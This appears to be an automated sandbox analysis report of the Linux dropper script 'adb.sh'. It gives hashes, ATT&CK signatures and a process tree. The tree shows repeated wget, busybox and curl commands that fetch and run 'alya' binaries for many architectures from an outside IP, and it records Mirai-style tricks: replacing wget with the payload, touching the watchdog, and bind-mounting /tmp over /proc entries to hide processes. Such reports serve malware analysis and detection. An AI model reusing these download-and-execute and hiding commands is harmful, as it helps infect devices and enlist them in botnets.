59681a58ec2f5fd767a2890d500805278f7fd2914ebd8c4d3c7013c4bb2f9fb9

Analysis

max time kernel
149s
max time network
148s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
03/10/2026, 18:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
adb.sh
Size 1KB
Sample261003-w4mncsvz3j
SHA256 59681a58ec2f5fd767a2890d500805278f7fd2914ebd8c4d3c7013c4bb2f9fb9
MD5 2c4c45344faf403b4d69b5e71147d976
SHA1 2414d19a137513c3beda81cbbb14f1b94ae82dec
SHA512 d6356d2e4b69ed3f2a4757eeb22ce25f8e201131a47158a143638f0662c2b663a0cfbd7ee444c7bb27d4aa22638d87a5142ad4a5e56959b72e8fe0039f6efc4a
TLSH
T18B21BB5898331826F3C5A878B14B20806971C27B3921AFECBECD54E5EF0890E73D468E
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery persistence

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 45 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
840	chmod
871	chmod
894	chmod
927	chmod
987	chmod
1005	chmod
1053	chmod
1146	chmod
1058	chmod
846	chmod
963	chmod
969	chmod
1045	chmod
1084	chmod
993	chmod
999	chmod
783	chmod
957	chmod
975	chmod
1124	chmod
1152	chmod
900	chmod
1118	chmod
918	chmod
945	chmod
1101	chmod
1107	chmod
1141	chmod
1158	chmod
817	chmod
906	chmod
981	chmod
1090	chmod
1129	chmod
1169	chmod
933	chmod
939	chmod
888	chmod
912	chmod
951	chmod
1095	chmod
1112	chmod
1135	chmod
1063	chmod
1163	chmod

Executes dropped EXE 9 IoCs

ioc	pid	Process
/tmp/alya.arc	784	adb.sh
/tmp/alya.arc	818	adb.sh
/tmp/alya.arc	841	adb.sh
/usr/bin/wget	1057	adb.sh
/usr/bin/wget	1089	adb.sh
/usr/bin/wget	1106	adb.sh
/usr/bin/wget	1123	adb.sh
/usr/bin/wget	1140	adb.sh
/usr/bin/wget	1157	adb.sh

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	alya.mipsel
File opened for modification	/dev/misc/watchdog	alya.mipsel

Enumerates running processes
Discovers information about currently running processes on the system

Write file to user bin folder 2 IoCs

persistence

description	ioc	Process
File opened for modification	/usr/bin/wget.p	sh
File opened for modification	/usr/bin/wget	cp

Changes its process name 3 IoCs

description	pid	Process
Changes the process name, possibly in an attempt to hide itself	1015	alya.mipsel
Changes the process name, possibly in an attempt to hide itself	1033	alya.mipsel
Changes the process name, possibly in an attempt to hide itself	1069	alya.mipsel

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/5/cmdline	alya.mipsel
File opened for reading	/proc/8/cmdline	alya.mipsel
File opened for reading	/proc/9/cmdline	alya.mipsel
File opened for reading	/proc/14/cmdline	alya.mipsel
File opened for reading	/proc/657/cmdline	alya.mipsel
File opened for reading	/proc/1062/cmdline	alya.mipsel
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/1133/cmdline	alya.mipsel
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/4/cmdline	alya.mipsel
File opened for reading	/proc/16/cmdline	alya.mipsel
File opened for reading	/proc/23/cmdline	alya.mipsel
File opened for reading	/proc/75/cmdline	alya.mipsel
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/3/cmdline	alya.mipsel
File opened for reading	/proc/165/cmdline	alya.mipsel
File opened for reading	/proc/22/cmdline	alya.mipsel
File opened for reading	/proc/77/cmdline	alya.mipsel
File opened for reading	/proc/mounts	adb.sh
File opened for reading	/proc/1/status	cp
File opened for reading	/proc/7/cmdline	alya.mipsel
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/11/cmdline	alya.mipsel
File opened for reading	/proc/684/cmdline	alya.mipsel
File opened for reading	/proc/1068/cmdline	alya.mipsel
File opened for reading	/proc/filesystems	mount
File opened for reading	/proc/10/cmdline	alya.mipsel
File opened for reading	/proc/72/cmdline	alya.mipsel
File opened for reading	/proc/1/cmdline	cp
File opened for reading	/proc/377/cmdline	alya.mipsel
File opened for reading	/proc/1162/cmdline	alya.mipsel
File opened for reading	/proc/19/cmdline	alya.mipsel
File opened for reading	/proc/1152/cmdline	alya.mipsel
File opened for reading	/proc/634/cmdline	alya.mipsel
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/1/status	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/1/statm	cp
File opened for reading	/proc/74/cmdline	alya.mipsel
File opened for reading	/proc/378/cmdline	alya.mipsel
File opened for reading	/proc/filesystems	mount
File opened for reading	/proc/12/cmdline	alya.mipsel
File opened for reading	/proc/73/cmdline	alya.mipsel
File opened for reading	/proc/76/cmdline	alya.mipsel
File opened for reading	/proc/104/cmdline	alya.mipsel
File opened for reading	/proc/323/cmdline	alya.mipsel
File opened for reading	/proc/653/cmdline	alya.mipsel
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/1/cmdline	cp
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/15/cmdline	alya.mipsel
File opened for reading	/proc/382/cmdline	alya.mipsel
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/1151/cmdline	alya.mipsel
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/1111/cmdline	alya.mipsel
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/114/cmdline	alya.mipsel
File opened for reading	/proc/328/cmdline	alya.mipsel
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/13/cmdline	alya.mipsel
File opened for reading	/proc/21/cmdline	alya.mipsel

System Network Configuration Discovery 1 TTPs 26 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1016	rm
1050	rm
1051	rm
917	busybox
922	rm
1003	rm
1004	wget
1006	alya.mipsel
1052	curl
923	curl
928	alya.mips
1021	busybox
1054	alya.mipsel
913	alya.mips
916	rm
921	rm
930	rm
1014	cp
1020	rm
1047	alya.mipsel
1055	rm
910	rm
911	wget
915	rm
919	alya.mips
1012	sh

Writes file to tmp directory 51 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/alya.armv4l	busybox
File opened for modification	/tmp/alya.i686	wget
File opened for modification	/tmp/alya.i686	busybox
File opened for modification	/tmp/statm	cp
File opened for modification	/tmp/cmdline	cp
File opened for modification	/tmp/alya.powerpc	busybox
File opened for modification	/tmp/status	cp
File opened for modification	/tmp/alya.x86_64	curl
File opened for modification	/tmp/alya.arc	wget
File opened for modification	/tmp/alya.sh4	curl
File opened for modification	/tmp/alya.armv7l	wget
File opened for modification	/tmp/alya.mipsel	wget
File opened for modification	/tmp/alya.mipsel	busybox
File opened for modification	/tmp/alya.m68k	curl
File opened for modification	/tmp/alya.x86_64	busybox
File opened for modification	/tmp/alya.armv6l	busybox
File opened for modification	/tmp/alya.armv6l	curl
File opened for modification	/tmp/status	cp
File opened for modification	/tmp/alya.sparc	busybox
File opened for modification	/tmp/alya.armv5l	curl
File opened for modification	/tmp/alya.powerpc	curl
File opened for modification	/tmp/alya.mips	busybox
File opened for modification	/tmp/alya.mips	curl
File opened for modification	/tmp/stat	cp
File opened for modification	/tmp/statm	cp
File opened for modification	/tmp/alya.arc	curl
File opened for modification	/tmp/alya.i586	curl
File opened for modification	/tmp/alya.armv4l	curl
File opened for modification	/tmp/alya.mipsel	curl
File opened for modification	/tmp/stat	cp
File opened for modification	/tmp/cmdline	cp
File opened for modification	/tmp/alya.armv5l	busybox
File opened for modification	/tmp/alya.i486	busybox
File opened for modification	/tmp/alya.arc	busybox
File opened for modification	/tmp/alya.armv6l	wget
File opened for modification	/tmp/alya.sh4	wget
File opened for modification	/tmp/alya.armv7l	curl
File opened for modification	/tmp/alya.i686	curl
File opened for modification	/tmp/alya.sparc	curl
File opened for modification	/tmp/alya.i486	curl
File opened for modification	/tmp/alya.m68k	busybox
File opened for modification	/tmp/alya.i586	wget
File opened for modification	/tmp/alya.mips	wget
File opened for modification	/tmp/alya.armv4l	wget
File opened for modification	/tmp/alya.armv7l	busybox
File opened for modification	/tmp/stat	cp
File opened for modification	/tmp/cmdline	cp
File opened for modification	/tmp/statm	cp
File opened for modification	/tmp/status	cp
File opened for modification	/tmp/alya.i586	busybox
File opened for modification	/tmp/alya.sh4	busybox

/tmp/adb.sh
/tmp/adb.sh
1⤵
- Executes dropped EXE
- Reads runtime system information
PID:688
- /bin/readlink
  readlink /proc/1/exe
  2⤵
  PID:692
- /bin/readlink
  readlink /proc/10/exe
  2⤵
  PID:694
- /bin/readlink
  readlink /proc/104/exe
  2⤵
  PID:697
- /bin/readlink
  readlink /proc/11/exe
  2⤵
  PID:701
- /bin/readlink
  readlink /proc/113/exe
  2⤵
  PID:703
- /bin/readlink
  readlink /proc/114/exe
  2⤵
  PID:705
- /bin/readlink
  readlink /proc/12/exe
  2⤵
  PID:706
- /bin/readlink
  readlink /proc/13/exe
  2⤵
  PID:708
- /bin/readlink
  readlink /proc/14/exe
  2⤵
  PID:710
- /bin/readlink
  readlink /proc/141/exe
  2⤵
  PID:712
- /bin/readlink
  readlink /proc/149/exe
  2⤵
  PID:714
- /bin/readlink
  readlink /proc/15/exe
  2⤵
  PID:716
- /bin/readlink
  readlink /proc/16/exe
  2⤵
  PID:718
- /bin/readlink
  readlink /proc/164/exe
  2⤵
  PID:720
- /bin/readlink
  readlink /proc/165/exe
  2⤵
  PID:721
- /bin/readlink
  readlink /proc/17/exe
  2⤵
  PID:722
- /bin/readlink
  readlink /proc/18/exe
  2⤵
  PID:723
- /bin/readlink
  readlink /proc/19/exe
  2⤵
  PID:724
- /bin/readlink
  readlink /proc/2/exe
  2⤵
  PID:726
- /bin/readlink
  readlink /proc/20/exe
  2⤵
  PID:727
- /bin/readlink
  readlink /proc/21/exe
  2⤵
  PID:729
- /bin/readlink
  readlink /proc/22/exe
  2⤵
  PID:730
- /bin/readlink
  readlink /proc/23/exe
  2⤵
  PID:731
- /bin/readlink
  readlink /proc/236/exe
  2⤵
  PID:732
- /bin/readlink
  readlink /proc/24/exe
  2⤵
  PID:734
- /bin/readlink
  readlink /proc/3/exe
  2⤵
  PID:735
- /bin/readlink
  readlink /proc/321/exe
  2⤵
  PID:737
- /bin/readlink
  readlink /proc/323/exe
  2⤵
  PID:739
- /bin/readlink
  readlink /proc/325/exe
  2⤵
  PID:740
- /bin/readlink
  readlink /proc/328/exe
  2⤵
  PID:741
- /bin/readlink
  readlink /proc/329/exe
  2⤵
  PID:742
- /bin/readlink
  readlink /proc/36/exe
  2⤵
  PID:743
- /bin/readlink
  readlink /proc/37/exe
  2⤵
  PID:745
- /bin/readlink
  readlink /proc/371/exe
  2⤵
  PID:746
- /bin/readlink
  readlink /proc/377/exe
  2⤵
  PID:747
- /bin/readlink
  readlink /proc/378/exe
  2⤵
  PID:748
- /bin/readlink
  readlink /proc/382/exe
  2⤵
  PID:749
- /bin/readlink
  readlink /proc/4/exe
  2⤵
  PID:750
- /bin/readlink
  readlink /proc/5/exe
  2⤵
  PID:751
- /bin/readlink
  readlink /proc/6/exe
  2⤵
  PID:753
- /bin/readlink
  readlink /proc/634/exe
  2⤵
  PID:754
- /bin/readlink
  readlink /proc/651/exe
  2⤵
  PID:755
- /bin/readlink
  readlink /proc/653/exe
  2⤵
  PID:756
- /bin/readlink
  readlink /proc/657/exe
  2⤵
  PID:757
- /bin/readlink
  readlink /proc/658/exe
  2⤵
  PID:758
- /bin/readlink
  readlink /proc/677/exe
  2⤵
  PID:759
- /bin/readlink
  readlink /proc/679/exe
  2⤵
  PID:760
- /bin/readlink
  readlink /proc/684/exe
  2⤵
  PID:761
- /bin/readlink
  readlink /proc/685/exe
  2⤵
  PID:762
- /bin/readlink
  readlink /proc/686/exe
  2⤵
  PID:763
- /bin/readlink
  readlink /proc/688/exe
  2⤵
  PID:764
- /bin/readlink
  readlink /proc/690/exe
  2⤵
  PID:765
- /bin/readlink
  readlink /proc/691/exe
  2⤵
  PID:766
- /bin/readlink
  readlink /proc/7/exe
  2⤵
  PID:767
- /bin/readlink
  readlink /proc/70/exe
  2⤵
  PID:768
- /bin/readlink
  readlink /proc/71/exe
  2⤵
  PID:769
- /bin/readlink
  readlink /proc/72/exe
  2⤵
  PID:770
- /bin/readlink
  readlink /proc/73/exe
  2⤵
  PID:771
- /bin/readlink
  readlink /proc/74/exe
  2⤵
  PID:772
- /bin/readlink
  readlink /proc/75/exe
  2⤵
  PID:773
- /bin/readlink
  readlink /proc/76/exe
  2⤵
  PID:774
- /bin/readlink
  readlink /proc/77/exe
  2⤵
  PID:775
- /bin/readlink
  readlink /proc/78/exe
  2⤵
  PID:776
- /bin/readlink
  readlink /proc/8/exe
  2⤵
  PID:777
- /bin/readlink
  readlink /proc/80/exe
  2⤵
  PID:778
- /bin/readlink
  readlink /proc/81/exe
  2⤵
  PID:779
- /bin/readlink
  readlink /proc/9/exe
  2⤵
  PID:780
- /bin/rm
  rm -rf alya.arc
  2⤵
  PID:781
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.arc
  2⤵
  - Writes file to tmp directory
  PID:782
- /bin/chmod
  chmod 777 alya.arc
  2⤵
  - File and Directory Permissions Modification
  PID:783
- /tmp/alya.arc
  ./alya.arc android.alya.arc
  2⤵
  PID:784
- /bin/rm
  rm -rf alya.arc
  2⤵
  PID:786
- /bin/rm
  rm -rf alya.arc
  2⤵
  PID:787
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.arc
  2⤵
  - Writes file to tmp directory
  PID:789
- /bin/chmod
  chmod 777 alya.arc
  2⤵
  - File and Directory Permissions Modification
  PID:817
- /tmp/alya.arc
  ./alya.arc android.alya.arc
  2⤵
  PID:818
- /bin/rm
  rm -rf alya.arc
  2⤵
  PID:820
- /bin/rm
  rm -rf alya.arc
  2⤵
  PID:822
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.arc
  2⤵
  - Writes file to tmp directory
  PID:823
- /bin/chmod
  chmod 777 alya.arc
  2⤵
  - File and Directory Permissions Modification
  PID:840
- /tmp/alya.arc
  ./alya.arc android.alya.arc
  2⤵
  PID:841
- /bin/rm
  rm -rf alya.arc
  2⤵
  PID:843
- /bin/rm
  rm -rf alya.armv6l
  2⤵
  PID:844
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.armv6l
  2⤵
  - Writes file to tmp directory
  PID:845
- /bin/chmod
  chmod 777 alya.armv6l
  2⤵
  - File and Directory Permissions Modification
  PID:846
- /tmp/alya.armv6l
  ./alya.armv6l android.alya.armv6l
  2⤵
  PID:847
- /bin/rm
  rm -rf alya.armv6l
  2⤵
  PID:849
- /bin/rm
  rm -rf alya.armv6l
  2⤵
  PID:850
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.armv6l
  2⤵
  - Writes file to tmp directory
  PID:851
- /bin/chmod
  chmod 777 alya.armv6l
  2⤵
  - File and Directory Permissions Modification
  PID:871
- /tmp/alya.armv6l
  ./alya.armv6l android.alya.armv6l
  2⤵
  PID:873
- /bin/rm
  rm -rf alya.armv6l
  2⤵
  PID:875
- /bin/rm
  rm -rf alya.armv6l
  2⤵
  PID:877
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.armv6l
  2⤵
  - Writes file to tmp directory
  PID:879
- /bin/chmod
  chmod 777 alya.armv6l
  2⤵
  - File and Directory Permissions Modification
  PID:888
- /tmp/alya.armv6l
  ./alya.armv6l android.alya.armv6l
  2⤵
  PID:889
- /bin/rm
  rm -rf alya.armv6l
  2⤵
  PID:891
- /bin/rm
  rm -rf alya.i586
  2⤵
  PID:892
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.i586
  2⤵
  - Writes file to tmp directory
  PID:893
- /bin/chmod
  chmod 777 alya.i586
  2⤵
  - File and Directory Permissions Modification
  PID:894
- /tmp/alya.i586
  ./alya.i586 android.alya.i586
  2⤵
  PID:895
- /bin/rm
  rm -rf alya.i586
  2⤵
  PID:897
- /bin/rm
  rm -rf alya.i586
  2⤵
  PID:898
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.i586
  2⤵
  - Writes file to tmp directory
  PID:899
- /bin/chmod
  chmod 777 alya.i586
  2⤵
  - File and Directory Permissions Modification
  PID:900
- /tmp/alya.i586
  ./alya.i586 android.alya.i586
  2⤵
  PID:901
- /bin/rm
  rm -rf alya.i586
  2⤵
  PID:903
- /bin/rm
  rm -rf alya.i586
  2⤵
  PID:904
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.i586
  2⤵
  - Writes file to tmp directory
  PID:905
- /bin/chmod
  chmod 777 alya.i586
  2⤵
  - File and Directory Permissions Modification
  PID:906
- /tmp/alya.i586
  ./alya.i586 android.alya.i586
  2⤵
  PID:907
- /bin/rm
  rm -rf alya.i586
  2⤵
  PID:909
- /bin/rm
  rm -rf alya.mips
  2⤵
  - System Network Configuration Discovery
  PID:910
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:911
- /bin/chmod
  chmod 777 alya.mips
  2⤵
  - File and Directory Permissions Modification
  PID:912
- /tmp/alya.mips
  ./alya.mips android.alya.mips
  2⤵
  - System Network Configuration Discovery
  PID:913
- /bin/rm
  rm -rf alya.mips
  2⤵
  - System Network Configuration Discovery
  PID:915
- /bin/rm
  rm -rf alya.mips
  2⤵
  - System Network Configuration Discovery
  PID:916
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:917
- /bin/chmod
  chmod 777 alya.mips
  2⤵
  - File and Directory Permissions Modification
  PID:918
- /tmp/alya.mips
  ./alya.mips android.alya.mips
  2⤵
  - System Network Configuration Discovery
  PID:919
- /bin/rm
  rm -rf alya.mips
  2⤵
  - System Network Configuration Discovery
  PID:921
- /bin/rm
  rm -rf alya.mips
  2⤵
  - System Network Configuration Discovery
  PID:922
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:923
- /bin/chmod
  chmod 777 alya.mips
  2⤵
  - File and Directory Permissions Modification
  PID:927
- /tmp/alya.mips
  ./alya.mips android.alya.mips
  2⤵
  - System Network Configuration Discovery
  PID:928
- /bin/rm
  rm -rf alya.mips
  2⤵
  - System Network Configuration Discovery
  PID:930
- /bin/rm
  rm -rf alya.sh4
  2⤵
  PID:931
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.sh4
  2⤵
  - Writes file to tmp directory
  PID:932
- /bin/chmod
  chmod 777 alya.sh4
  2⤵
  - File and Directory Permissions Modification
  PID:933
- /tmp/alya.sh4
  ./alya.sh4 android.alya.sh4
  2⤵
  PID:934
- /bin/rm
  rm -rf alya.sh4
  2⤵
  PID:936
- /bin/rm
  rm -rf alya.sh4
  2⤵
  PID:937
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.sh4
  2⤵
  - Writes file to tmp directory
  PID:938
- /bin/chmod
  chmod 777 alya.sh4
  2⤵
  - File and Directory Permissions Modification
  PID:939
- /tmp/alya.sh4
  ./alya.sh4 android.alya.sh4
  2⤵
  PID:940
- /bin/rm
  rm -rf alya.sh4
  2⤵
  PID:942
- /bin/rm
  rm -rf alya.sh4
  2⤵
  PID:943
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.sh4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:944
- /bin/chmod
  chmod 777 alya.sh4
  2⤵
  - File and Directory Permissions Modification
  PID:945
- /tmp/alya.sh4
  ./alya.sh4 android.alya.sh4
  2⤵
  PID:946
- /bin/rm
  rm -rf alya.sh4
  2⤵
  PID:948
- /bin/rm
  rm -rf alya.armv4l
  2⤵
  PID:949
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.armv4l
  2⤵
  - Writes file to tmp directory
  PID:950
- /bin/chmod
  chmod 777 alya.armv4l
  2⤵
  - File and Directory Permissions Modification
  PID:951
- /tmp/alya.armv4l
  ./alya.armv4l android.alya.armv4l
  2⤵
  PID:952
- /bin/rm
  rm -rf alya.armv4l
  2⤵
  PID:954
- /bin/rm
  rm -rf alya.armv4l
  2⤵
  PID:955
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.armv4l
  2⤵
  - Writes file to tmp directory
  PID:956
- /bin/chmod
  chmod 777 alya.armv4l
  2⤵
  - File and Directory Permissions Modification
  PID:957
- /tmp/alya.armv4l
  ./alya.armv4l android.alya.armv4l
  2⤵
  PID:958
- /bin/rm
  rm -rf alya.armv4l
  2⤵
  PID:960
- /bin/rm
  rm -rf alya.armv4l
  2⤵
  PID:961
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.armv4l
  2⤵
  - Writes file to tmp directory
  PID:962
- /bin/chmod
  chmod 777 alya.armv4l
  2⤵
  - File and Directory Permissions Modification
  PID:963
- /tmp/alya.armv4l
  ./alya.armv4l android.alya.armv4l
  2⤵
  PID:964
- /bin/rm
  rm -rf alya.armv4l
  2⤵
  PID:966
- /bin/rm
  rm -rf alya.armv7l
  2⤵
  PID:967
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.armv7l
  2⤵
  - Writes file to tmp directory
  PID:968
- /bin/chmod
  chmod 777 alya.armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:969
- /tmp/alya.armv7l
  ./alya.armv7l android.alya.armv7l
  2⤵
  PID:970
- /bin/rm
  rm -rf alya.armv7l
  2⤵
  PID:972
- /bin/rm
  rm -rf alya.armv7l
  2⤵
  PID:973
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.armv7l
  2⤵
  - Writes file to tmp directory
  PID:974
- /bin/chmod
  chmod 777 alya.armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:975
- /tmp/alya.armv7l
  ./alya.armv7l android.alya.armv7l
  2⤵
  PID:976
- /bin/rm
  rm -rf alya.armv7l
  2⤵
  PID:978
- /bin/rm
  rm -rf alya.armv7l
  2⤵
  PID:979
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.armv7l
  2⤵
  - Writes file to tmp directory
  PID:980
- /bin/chmod
  chmod 777 alya.armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:981
- /tmp/alya.armv7l
  ./alya.armv7l android.alya.armv7l
  2⤵
  PID:982
- /bin/rm
  rm -rf alya.armv7l
  2⤵
  PID:984
- /bin/rm
  rm -rf alya.i686
  2⤵
  PID:985
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.i686
  2⤵
  - Writes file to tmp directory
  PID:986
- /bin/chmod
  chmod 777 alya.i686
  2⤵
  - File and Directory Permissions Modification
  PID:987
- /tmp/alya.i686
  ./alya.i686 android.alya.i686
  2⤵
  PID:988
- /bin/rm
  rm -rf alya.i686
  2⤵
  PID:990
- /bin/rm
  rm -rf alya.i686
  2⤵
  PID:991
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.i686
  2⤵
  - Writes file to tmp directory
  PID:992
- /bin/chmod
  chmod 777 alya.i686
  2⤵
  - File and Directory Permissions Modification
  PID:993
- /tmp/alya.i686
  ./alya.i686 android.alya.i686
  2⤵
  PID:994
- /bin/rm
  rm -rf alya.i686
  2⤵
  PID:996
- /bin/rm
  rm -rf alya.i686
  2⤵
  PID:997
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.i686
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:998
- /bin/chmod
  chmod 777 alya.i686
  2⤵
  - File and Directory Permissions Modification
  PID:999
- /tmp/alya.i686
  ./alya.i686 android.alya.i686
  2⤵
  PID:1000
- /bin/rm
  rm -rf alya.i686
  2⤵
  PID:1002
- /bin/rm
  rm -rf alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1003
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1004
- /bin/chmod
  chmod 777 alya.mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:1005
- /tmp/alya.mipsel
  ./alya.mipsel android.alya.mipsel
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:1006
- - /bin/sh
    sh -c "rm -rf /usr/bin/wget.r;mv /usr/bin/wget /usr/bin/wget.r"
    3⤵
    PID:1007
  - - /bin/rm
      rm -rf /usr/bin/wget.r
      4⤵
      PID:1008
  - - /bin/mv
      mv /usr/bin/wget /usr/bin/wget.r
      4⤵
      PID:1009
- - /bin/sh
    sh -c "rm -rf /usr/bin/wget.p;echo \"/usr/bin/wget.r\" > /usr/bin/wget.p"
    3⤵
    - Write file to user bin folder
    PID:1010
  - - /bin/rm
      rm -rf /usr/bin/wget.p
      4⤵
      PID:1011
- - /bin/sh
    sh -c "rm -rf /usr/bin/wget;cp /tmp/alya.mipsel /usr/bin/wget"
    3⤵
    - System Network Configuration Discovery
    PID:1012
  - - /bin/rm
      rm -rf /usr/bin/wget
      4⤵
      PID:1013
  - - /bin/cp
      cp /tmp/alya.mipsel /usr/bin/wget
      4⤵
      Write file to user bin folder
      Reads runtime system information
      System Network Configuration Discovery
      PID:1014
- - /bin/sh
    sh -c "rm -rf /tmp/stat;cp /proc/1/stat /tmp/stat"
    3⤵
    PID:1017
  - - /bin/rm
      rm -rf /tmp/stat
      4⤵
      PID:1018
  - - /bin/cp
      cp /proc/1/stat /tmp/stat
      4⤵
      Writes file to tmp directory
      PID:1019
- - /bin/sh
    sh -c "rm -rf /tmp/status;cp /proc/1/status /tmp/status"
    3⤵
    PID:1022
  - - /bin/rm
      rm -rf /tmp/status
      4⤵
      PID:1023
  - - /bin/cp
      cp /proc/1/status /tmp/status
      4⤵
      Reads runtime system information
      Writes file to tmp directory
      PID:1024
- - /bin/sh
    sh -c "rm -rf /tmp/cmdline;cp /proc/1/cmdline /tmp/cmdline"
    3⤵
    PID:1025
  - - /bin/rm
      rm -rf /tmp/cmdline
      4⤵
      PID:1026
  - - /bin/cp
      cp /proc/1/cmdline /tmp/cmdline
      4⤵
      Reads runtime system information
      Writes file to tmp directory
      PID:1027
- - /bin/sh
    sh -c "rm -rf /tmp/statm;cp /proc/1/statm /tmp/statm"
    3⤵
    PID:1028
  - - /bin/rm
      rm -rf /tmp/statm
      4⤵
      PID:1029
  - - /bin/cp
      cp /proc/1/statm /tmp/statm
      4⤵
      Writes file to tmp directory
      PID:1030
- - /bin/sh
    sh -c "mount --bind /tmp /proc/1015"
    3⤵
    PID:1031
  - - /bin/mount
      mount --bind /tmp /proc/1015
      4⤵
      Reads runtime system information
      PID:1032
- - /bin/sh
    sh -c "rm -rf /tmp/stat;cp /proc/1/stat /tmp/stat"
    3⤵
    PID:1034
  - - /bin/rm
      rm -rf /tmp/stat
      4⤵
      PID:1035
  - - /bin/cp
      cp /proc/1/stat /tmp/stat
      4⤵
      Writes file to tmp directory
      PID:1036
- - /bin/sh
    sh -c "rm -rf /tmp/status;cp /proc/1/status /tmp/status"
    3⤵
    PID:1037
  - - /bin/rm
      rm -rf /tmp/status
      4⤵
      PID:1038
  - - /bin/cp
      cp /proc/1/status /tmp/status
      4⤵
      Reads runtime system information
      Writes file to tmp directory
      PID:1039
- - /bin/sh
    sh -c "rm -rf /tmp/cmdline;cp /proc/1/cmdline /tmp/cmdline"
    3⤵
    PID:1040
  - - /bin/rm
      rm -rf /tmp/cmdline
      4⤵
      PID:1041
  - - /bin/cp
      cp /proc/1/cmdline /tmp/cmdline
      4⤵
      Reads runtime system information
      Writes file to tmp directory
      PID:1042
- - /bin/sh
    sh -c "rm -rf /tmp/statm;cp /proc/1/statm /tmp/statm"
    3⤵
    PID:1043
  - - /bin/rm
      rm -rf /tmp/statm
      4⤵
      PID:1044
  - - /bin/cp
      cp /proc/1/statm /tmp/statm
      4⤵
      Reads runtime system information
      Writes file to tmp directory
      PID:1046
- - /bin/sh
    sh -c "mount --bind /tmp /proc/1033"
    3⤵
    PID:1048
  - - /bin/mount
      mount --bind /tmp /proc/1033
      4⤵
      Reads runtime system information
      PID:1049
- - /bin/sh
    sh -c "rm -rf /tmp/stat;cp /proc/1/stat /tmp/stat"
    3⤵
    PID:1070
  - - /bin/rm
      rm -rf /tmp/stat
      4⤵
      PID:1071
  - - /bin/cp
      cp /proc/1/stat /tmp/stat
      4⤵
      Reads runtime system information
      Writes file to tmp directory
      PID:1072
- - /bin/sh
    sh -c "rm -rf /tmp/status;cp /proc/1/status /tmp/status"
    3⤵
    PID:1073
  - - /bin/rm
      rm -rf /tmp/status
      4⤵
      PID:1074
  - - /bin/cp
      cp /proc/1/status /tmp/status
      4⤵
      Reads runtime system information
      Writes file to tmp directory
      PID:1075
- - /bin/sh
    sh -c "rm -rf /tmp/cmdline;cp /proc/1/cmdline /tmp/cmdline"
    3⤵
    PID:1076
  - - /bin/rm
      rm -rf /tmp/cmdline
      4⤵
      PID:1077
  - - /bin/cp
      cp /proc/1/cmdline /tmp/cmdline
      4⤵
      Reads runtime system information
      Writes file to tmp directory
      PID:1078
- - /bin/sh
    sh -c "rm -rf /tmp/statm;cp /proc/1/statm /tmp/statm"
    3⤵
